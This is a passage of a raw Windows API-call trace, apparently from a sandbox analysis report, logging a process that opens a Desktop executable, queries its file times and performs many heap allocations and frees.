(HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x32abac0 [0075.665] GetLastError () returned 0x2 [0075.665] CreateFileA (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUSERS~1.EXE" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers~1.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9b87a8, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2f4 [0075.666] GetFileType (hFile=0x2f4) returned 0x1 [0075.666] GetLastError () returned 0x0 [0075.666] GetCurrentThreadId () returned 0x9b0 [0075.666] GetLastError () returned 0x0 [0075.666] GetFileType (hFile=0x2f4) returned 0x1 [0075.666] GetFileInformationByHandle (in: hFile=0x2f4, lpFileInformation=0x9b8824 | out: lpFileInformation=0x9b8824) returned 1 [0075.666] FileTimeToLocalFileTime (in: lpFileTime=0x9b8838, lpLocalFileTime=0x9b8868 | out: lpLocalFileTime=0x9b8868) returned 1 [0075.666] FileTimeToSystemTime (in: lpFileTime=0x9b8868, lpSystemTime=0x9b8858 | out: lpSystemTime=0x9b8858) returned 1 [0075.666] FileTimeToLocalFileTime (in: lpFileTime=0x9b8830, lpLocalFileTime=0x9b8868 | out: lpLocalFileTime=0x9b8868) returned 1 [0075.666] FileTimeToSystemTime (in: lpFileTime=0x9b8868, lpSystemTime=0x9b8858 | out: lpSystemTime=0x9b8858) returned 1 [0075.666] FileTimeToLocalFileTime (in: lpFileTime=0x9b8828, lpLocalFileTime=0x9b8868 | out: lpLocalFileTime=0x9b8868) returned 1 [0075.666] FileTimeToSystemTime (in: lpFileTime=0x9b8868, lpSystemTime=0x9b8858 | out: lpSystemTime=0x9b8858) returned 1 [0075.666] GetLastError () returned 0x0 [0075.666] GetCurrentThreadId () returned 0x9b0 [0075.666] GetLastError () returned 0x0 [0075.666] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32abac0 | out: hHeap=0x2ad0000) returned 1 [0075.666] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1ffb8 | out: hHeap=0x2ad0000) returned 1 [0075.667] GetLastError () returned 0x0 [0075.667] GetLastError () returned 0x0 [0075.667] GetCurrentThreadId () returned 0x9b0 [0075.667] GetLastError () returned 0x0 [0075.667] GetCurrentThreadId () returned 0x9b0 [0075.673] GetLastError () returned 0x0 [0075.673] GetLastError () returned 0x0 [0075.673] GetCurrentThreadId () returned 0x9b0 [0075.673] GetLastError () returned 0x0 [0075.673] GetCurrentThreadId () returned 0x9b0 [0075.673] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x33ed) returned 0x33cd990 [0075.673] GetLastError () returned 0x0 [0075.673] GetLastError () returned 0x0 [0075.673] GetCurrentThreadId () returned 0x9b0 [0075.673] GetLastError () returned 0x0 [0075.673] GetCurrentThreadId () returned 0x9b0 [0075.674] GetLastError () returned 0x0 [0075.674] GetLastError () returned 0x0 [0075.674] GetCurrentThreadId () returned 0x9b0 [0075.674] GetLastError () returned 0x0 [0075.674] GetLastError () returned 0x0 [0075.674] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cc64e8 | out: hHeap=0x2ad0000) returned 1 [0075.674] CloseHandle (hObject=0x2f4) returned 1 [0075.674] GetLastError () returned 0x0 [0075.674] GetCurrentThreadId () returned 0x9b0 [0075.674] GetLastError () returned 0x0 [0075.674] GetCurrentThreadId () returned 0x9b0 [0075.674] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x1bd0) returned 0x33dd008 [0075.674] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4015) returned 0x33d0d88 [0075.674] GetLastError () returned 0x0 [0075.674] GetCurrentThreadId () returned 0x9b0 [0075.674] GetLastError () returned 0x0 [0075.675] GetLastError () returned 0x0 [0075.675] GetCurrentThreadId () returned 0x9b0 [0075.675] GetLastError () returned 0x0 [0075.675] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32f8a68 | out: hHeap=0x2ad0000) returned 1 [0075.675] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33dd008 | out: hHeap=0x2ad0000) returned 1 [0075.675] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x33d0d88, Size=0x7a2f) returned 0x33d0d88 [0075.675] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33cd990 | out: hHeap=0x2ad0000) returned 1 [0075.675] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x29f) returned 0x2a8c420 [0075.675] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30b) returned 0x3352ce0 [0075.675] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c846e0 [0075.675] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2c846e0, Size=0x20) returned 0x30283f0 [0075.675] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x30283f0, Size=0x40) returned 0x2a18ea8 [0075.675] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a18ea8, Size=0x64) returned 0x2a19968 [0075.675] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a19968, Size=0x8c) returned 0x2ac0a40 [0075.675] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ac0a40, Size=0xb8) returned 0x2cde5a8 [0075.675] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2cde5a8, Size=0xe8) returned 0x325a300 [0075.675] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x325a300, Size=0x120) returned 0x2c374c0 [0075.675] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2c374c0, Size=0x160) returned 0x325f2a8 [0075.675] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x325f2a8, Size=0x1a8) returned 0x3029018 [0075.676] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x316) returned 0x33dd008 [0075.676] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x3aa) returned 0x33dd328 [0075.676] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x3029018, Size=0x1f8) returned 0x2c315e0 [0075.676] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4b3) returned 0x33dd6e0 [0075.676] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x32e) returned 0x33ddba0 [0075.676] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2c315e0, Size=0x250) returned 0x2ac5098 [0075.676] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ac5098, Size=0x2b4) returned 0x2c2bed8 [0075.676] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x34a) returned 0x33dded8 [0075.676] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2c2bed8, Size=0x324) returned 0x2bac990 [0075.676] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x22e) returned 0x33de230 [0075.676] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2bac990, Size=0x3a4) returned 0x2ba7800 [0075.676] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ba7800, Size=0x434) returned 0x31d1c38 [0075.677] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4b4) returned 0x33de468 [0075.677] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x31d1c38, Size=0x4d4) returned 0x325d878 [0075.677] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x253) returned 0x33de928 [0075.677] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x325d878, Size=0x588) returned 0x3262068 [0075.677] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x2a5) returned 0x33deb88 [0075.677] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x3262068, Size=0x654) returned 0x32682b8 [0075.677] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32682b8 | out: hHeap=0x2ad0000) returned 1 [0075.677] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33d0d88 | out: hHeap=0x2ad0000) returned 1 [0075.677] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x32abae0 [0075.677] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32abae0 | out: hHeap=0x2ad0000) returned 1 [0075.677] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x32f3a08 [0075.677] GetCurrentThreadId () returned 0x9b0 [0075.677] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a8e8 [0075.678] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a8e8 | out: hHeap=0x2ad0000) returned 1 [0075.678] GetCurrentThreadId () returned 0x9b0 [0075.678] GetCurrentThreadId () returned 0x9b0 [0075.678] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a8e8 [0075.678] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a8e8 | out: hHeap=0x2ad0000) returned 1 [0075.678] GetCurrentThreadId () returned 0x9b0 [0075.678] GetCurrentThreadId () returned 0x9b0 [0075.678] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a8e8 [0075.678] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a8e8 | out: hHeap=0x2ad0000) returned 1 [0075.678] GetCurrentThreadId () returned 0x9b0 [0075.678] GetCurrentThreadId () returned 0x9b0 [0075.678] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a8e8 [0075.678] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a8e8 | out: hHeap=0x2ad0000) returned 1 [0075.678] GetCurrentThreadId () returned 0x9b0 [0075.678] GetCurrentThreadId () returned 0x9b0 [0075.678] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a8e8 [0075.678] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1aa00 [0075.678] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x334ee90 [0075.678] GetCurrentThreadId () returned 0x9b0 [0075.678] GetCurrentThreadId () returned 0x9b0 [0075.678] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x334ee90 | out: hHeap=0x2ad0000) returned 1 [0075.678] GetCurrentThreadId () returned 0x9b0 [0075.679] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x32f0c18 [0075.679] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x334) returned 0x33dee38 [0075.679] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x600) returned 0x33c3430 [0075.679] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32f0c18 | out: hHeap=0x2ad0000) returned 1 [0075.679] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x300) returned 0x3355200 [0075.679] GetCurrentThreadId () returned 0x9b0 [0075.679] GetCurrentThreadId () returned 0x9b0 [0075.679] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1aa00 | out: hHeap=0x2ad0000) returned 1 [0075.679] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a8e8 | out: hHeap=0x2ad0000) returned 1 [0075.679] GetCurrentThreadId () returned 0x9b0 [0075.679] GetCurrentThreadId () returned 0x9b0 [0075.679] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a8e8 [0075.679] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a8e8 | out: hHeap=0x2ad0000) returned 1 [0075.679] GetCurrentThreadId () returned 0x9b0 [0075.679] GetCurrentThreadId () returned 0x9b0 [0075.679] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a8e8 [0075.679] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a8e8 | out: hHeap=0x2ad0000) returned 1 [0075.679] GetCurrentThreadId () returned 0x9b0 [0075.679] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x32abac0 [0075.679] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x18) returned 0x3183b40 [0075.680] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c845c0 [0075.680] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x32aba50 [0075.680] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x32abae0 [0075.680] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x32aba50, Size=0x14) returned 0x3183a60 [0075.680] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32abae0 | out: hHeap=0x2ad0000) returned 1 [0075.680] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c845c0 | out: hHeap=0x2ad0000) returned 1 [0075.680] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3183b40 | out: hHeap=0x2ad0000) returned 1 [0075.680] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32abac0 | out: hHeap=0x2ad0000) returned 1 [0075.680] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3183a60 | out: hHeap=0x2ad0000) returned 1 [0075.680] GetCurrentThreadId () returned 0x9b0 [0075.680] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a8e8 [0075.680] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a8e8 | out: hHeap=0x2ad0000) returned 1 [0075.680] GetCurrentThreadId () returned 0x9b0 [0075.680] GetCurrentThreadId () returned 0x9b0 [0075.680] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a8e8 [0075.680] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1aa00 [0075.680] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x334fbb0 [0075.680] GetCurrentThreadId () returned 0x9b0 [0075.680] GetCurrentThreadId () returned 0x9b0 [0075.681] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x334fbb0 | out: hHeap=0x2ad0000) returned 1 [0075.681] GetCurrentThreadId () returned 0x9b0 [0075.681] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x32f19e0 [0075.681] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x600) returned 0x33be5c8 [0075.681] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32f19e0 | out: hHeap=0x2ad0000) returned 1 [0075.681] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x300) returned 0x3355810 [0075.681] GetCurrentThreadId () returned 0x9b0 [0075.681] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1aa00 | out: hHeap=0x2ad0000) returned 1 [0075.681] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a8e8 | out: hHeap=0x2ad0000) returned 1 [0075.681] GetCurrentThreadId () returned 0x9b0 [0075.681] GetCurrentThreadId () returned 0x9b0 [0075.681] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a8e8 [0075.681] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1aa00 [0075.681] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x3350240 [0075.681] GetCurrentThreadId () returned 0x9b0 [0075.681] GetCurrentThreadId () returned 0x9b0 [0075.681] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3350240 | out: hHeap=0x2ad0000) returned 1 [0075.681] GetCurrentThreadId () returned 0x9b0 [0075.682] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x32f36f8 [0075.682] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x600) returned 0x33bf1d8 [0075.682] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32f36f8 | out: hHeap=0x2ad0000) returned 1 [0075.682] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x300) returned 0x33594b0 [0075.682] GetCurrentThreadId () returned 0x9b0 [0075.682] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1aa00 | out: hHeap=0x2ad0000) returned 1 [0075.683] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a8e8 | out: hHeap=0x2ad0000) returned 1 [0075.683] GetCurrentThreadId () returned 0x9b0 [0075.683] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x32f2000 [0075.683] GetCurrentThreadId () returned 0x9b0 [0075.683] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x1c) returned 0x30284e0 [0075.683] GetCurrentThreadId () returned 0x9b0 [0075.683] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1aa00 [0075.683] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1aa00 | out: hHeap=0x2ad0000) returned 1 [0075.683] GetCurrentThreadId () returned 0x9b0 [0075.683] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x600) returned 0x33c4648 [0075.683] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32f3a08 | out: hHeap=0x2ad0000) returned 1 [0075.683] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x20) returned 0x3028300 [0075.683] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x30284e0, Size=0x58) returned 0x2aa2678 [0075.683] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3028300 | out: hHeap=0x2ad0000) returned 1 [0075.684] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x32f0a90 [0075.684] GetCurrentThreadId () returned 0x9b0 [0075.684] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x300) returned 0x335a0d0 [0075.684] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x49f) returned 0x33df178 [0075.684] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x32abae0 [0075.684] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84548 [0075.684] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84488 [0075.684] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x32abb50 [0075.684] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x32abb60 [0075.684] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x32abb50, Size=0x14) returned 0x3183be0 [0075.684] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32abb60 | out: hHeap=0x2ad0000) returned 1 [0075.684] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84488 | out: hHeap=0x2ad0000) returned 1 [0075.684] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84548 | out: hHeap=0x2ad0000) returned 1 [0075.684] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32abae0 | out: hHeap=0x2ad0000) returned 1 [0075.684] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3183be0 | out: hHeap=0x2ad0000) returned 1 [0075.684] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32f0a90 | out: hHeap=0x2ad0000) returned 1 [0075.684] GetCurrentThreadId () returned 0x9b0 [0075.684] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8c420 | out: hHeap=0x2ad0000) returned 1 [0075.685] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33deb88 | out: hHeap=0x2ad0000) returned 1 [0075.685] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de928 | out: hHeap=0x2ad0000) returned 1 [0075.685] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de468 | out: hHeap=0x2ad0000) returned 1 [0075.685] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a5a0 | out: hHeap=0x2ad0000) returned 1 [0075.685] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a140 | out: hHeap=0x2ad0000) returned 1 [0075.685] GetCurrentThreadId () returned 0x9b0 [0075.685] GetCurrentThreadId () returned 0x9b0 [0075.685] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a8e8 [0075.685] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a5a0 [0075.685] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a140 [0075.685] GetCurrentThreadId () returned 0x9b0 [0075.685] GetCurrentThreadId () returned 0x9b0 [0075.685] GetCurrentThreadId () returned 0x9b0 [0075.685] GetCurrentThreadId () returned 0x9b0 [0075.685] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a140 | out: hHeap=0x2ad0000) returned 1 [0075.685] GetCurrentThreadId () returned 0x9b0 [0075.685] GetCurrentThreadId () returned 0x9b0 [0075.685] GetLastError () returned 0x0 [0075.685] GetLastError () returned 0x0 [0075.685] GetLastError () returned 0x0 [0075.685] GetLastError () returned 0x0 [0075.686] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84590 | out: hHeap=0x2ad0000) returned 1 [0075.686] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x32abaf0 [0075.686] GetLastError () returned 0x0 [0075.686] CreateFileA (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUSERS~1.EXE" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers~1.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9b87a8, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2f4 [0075.686] GetFileType (hFile=0x2f4) returned 0x1 [0075.686] GetLastError () returned 0x0 [0075.686] GetCurrentThreadId () returned 0x9b0 [0075.686] GetLastError () returned 0x0 [0075.686] GetFileType (hFile=0x2f4) returned 0x1 [0075.686] GetFileInformationByHandle (in: hFile=0x2f4, lpFileInformation=0x9b8824 | out: lpFileInformation=0x9b8824) returned 1 [0075.686] FileTimeToLocalFileTime (in: lpFileTime=0x9b8838, lpLocalFileTime=0x9b8868 | out: lpLocalFileTime=0x9b8868) returned 1 [0075.686] FileTimeToSystemTime (in: lpFileTime=0x9b8868, lpSystemTime=0x9b8858 | out: lpSystemTime=0x9b8858) returned 1 [0075.686] FileTimeToLocalFileTime (in: lpFileTime=0x9b8830, lpLocalFileTime=0x9b8868 | out: lpLocalFileTime=0x9b8868) returned 1 [0075.686] FileTimeToSystemTime (in: lpFileTime=0x9b8868, lpSystemTime=0x9b8858 | out: lpSystemTime=0x9b8858) returned 1 [0075.686] FileTimeToLocalFileTime (in: lpFileTime=0x9b8828, lpLocalFileTime=0x9b8868 | out: lpLocalFileTime=0x9b8868) returned 1 [0075.686] FileTimeToSystemTime (in: lpFileTime=0x9b8868, lpSystemTime=0x9b8858 | out: lpSystemTime=0x9b8858) returned 1 [0075.687] GetLastError () returned 0x0 [0075.687] GetCurrentThreadId () returned 0x9b0 [0075.687] GetLastError () returned 0x0 [0075.687] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32abaf0 | out: hHeap=0x2ad0000) returned 1 [0075.687] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1ff58 | out: hHeap=0x2ad0000) returned 1 [0075.687] GetLastError () returned 0x0 [0075.687] GetLastError () returned 0x0 [0075.687] GetCurrentThreadId () returned 0x9b0 [0075.687] GetLastError () returned 0x0 [0075.687] GetCurrentThreadId () returned 0x9b0 [0075.687] GetLastError () returned 0x0 [0075.687] GetLastError () returned 0x0 [0075.687] GetCurrentThreadId () returned 0x9b0 [0075.687] GetLastError () returned 0x0 [0075.687] GetCurrentThreadId () returned 0x9b0 [0075.687] GetCurrentThreadId () returned 0x9b0 [0075.687] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x3d0d) returned 0x33cd990 [0075.687] GetLastError () returned 0x0 [0075.688] GetLastError () returned 0x0 [0075.688] GetCurrentThreadId () returned 0x9b0 [0075.688] GetLastError () returned 0x0 [0075.688] GetCurrentThreadId () returned 0x9b0 [0075.688] GetLastError () returned 0x0 [0075.688] GetLastError () returned 0x0 [0075.688] GetCurrentThreadId () returned 0x9b0 [0075.688] GetLastError () returned 0x0 [0075.688] GetLastError () returned 0x0 [0075.688] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cc64e8 | out: hHeap=0x2ad0000) returned 1 [0075.688] CloseHandle (hObject=0x2f4) returned 1 [0075.688] GetLastError () returned 0x0 [0075.688] GetCurrentThreadId () returned 0x9b0 [0075.688] GetLastError () returned 0x0 [0075.689] GetLastError () returned 0x0 [0075.689] GetCurrentThreadId () returned 0x9b0 [0075.689] GetLastError () returned 0x0 [0075.689] GetLastError () returned 0x0 [0075.689] GetCurrentThreadId () returned 0x9b0 [0075.689] GetLastError () returned 0x0 [0075.690] GetLastError () returned 0x0 [0075.690] GetCurrentThreadId () returned 0x9b0 [0075.690] GetLastError () returned 0x0 [0075.691] GetLastError () returned 0x0 [0075.691] GetCurrentThreadId () returned 0x9b0 [0075.691] GetLastError () returned 0x0 [0075.691] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32f8a68 | out: hHeap=0x2ad0000) returned 1 [0075.691] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33d16a8 | out: hHeap=0x2ad0000) returned 1 [0075.691] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x33ef640, Size=0x10692) returned 0x33ef640 [0075.691] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33cd990 | out: hHeap=0x2ad0000) returned 1 [0075.691] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84470 [0075.692] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2c84470, Size=0x20) returned 0x30284e0 [0075.692] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x30284e0, Size=0x40) returned 0x2a19298 [0075.692] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x686) returned 0x33de468 [0075.692] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x38c) returned 0x33cd990 [0075.692] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x82d) returned 0x33cdd28 [0075.692] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a19298, Size=0x64) returned 0x2a19968 [0075.692] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a19968, Size=0x8c) returned 0x2ac0450 [0075.692] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ac0450, Size=0xb8) returned 0x2cde1e8 [0075.692] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2cde1e8, Size=0xe8) returned 0x325ac60 [0075.692] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x325ac60, Size=0x120) returned 0x2c37148 [0075.692] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2c37148, Size=0x160) returned 0x325fb18 [0075.692] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x325fb18, Size=0x1a8) returned 0x3028af0 [0075.692] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x3028af0, Size=0x1f8) returned 0x2c319f0 [0075.692] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x29c) returned 0x2a8c6c8 [0075.692] 